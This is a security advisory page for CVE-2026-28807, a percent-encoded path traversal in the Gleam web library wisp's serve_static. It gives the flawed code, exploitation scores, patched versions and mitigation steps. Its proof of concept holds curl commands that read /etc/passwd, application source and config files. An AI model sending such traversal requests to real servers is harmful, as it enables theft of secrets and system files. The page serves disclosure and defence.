NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
💧 Hex
Not in CISA KEV

CVE-2026-28807 — wisp

Fix: gleam-wisp/wisp@161118c

CVE-2026-28807 is a Path Traversal vulnerability in wisp. A fix is available for wisp — see the affected versions and patch details below.

Path Traversal in wisp.serve_static allows arbitrary file read

Also known asEEF-CVE-2026-28807GHSA-h7cj-j2vv-qw8r
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28807.

EPSS Exploitation Probability

via FIRST.org ↗
1.2%probability of exploitation in next 30 days
Lower Risk+0.15%
Lower risk than most CVEs67th percentile — riskier than 67% of all scored CVEsHighest risk
0.00%0.56%1.11%1.67%0.2%1.0%1.2%May 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
💧wisp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.

Description

Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

  • Application source code
  • Configuration and secrets in priv/
  • .env files, secret_key_base, private keys
  • System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💧Hexwisp≥ 2.1.1&&< 2.2.12.2.1mix deps.update wisp

Affected Products

1 product · 1 configurations
Application
wispgleam-wisp
≥ 2.1.1 && < 2.2.1
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wisp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update wisp to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28807 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary `wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request. ### Details In `src/wisp.gleam`, `serve_static` processes the request path in this order: ```gleam let path = path |> string.drop_start(string.length(prefix)) |> string.replace(each: "..", with: "") // Step 1: sanitize |> filepath.join(direc
O3 Security · Impact-Aware SCA

Is CVE-2026-28807 in your dependencies?

Find it across Hex, including transitive dependencies.

CVE-2026-28807: wisp Path Traversal — Fixed in 2.2.1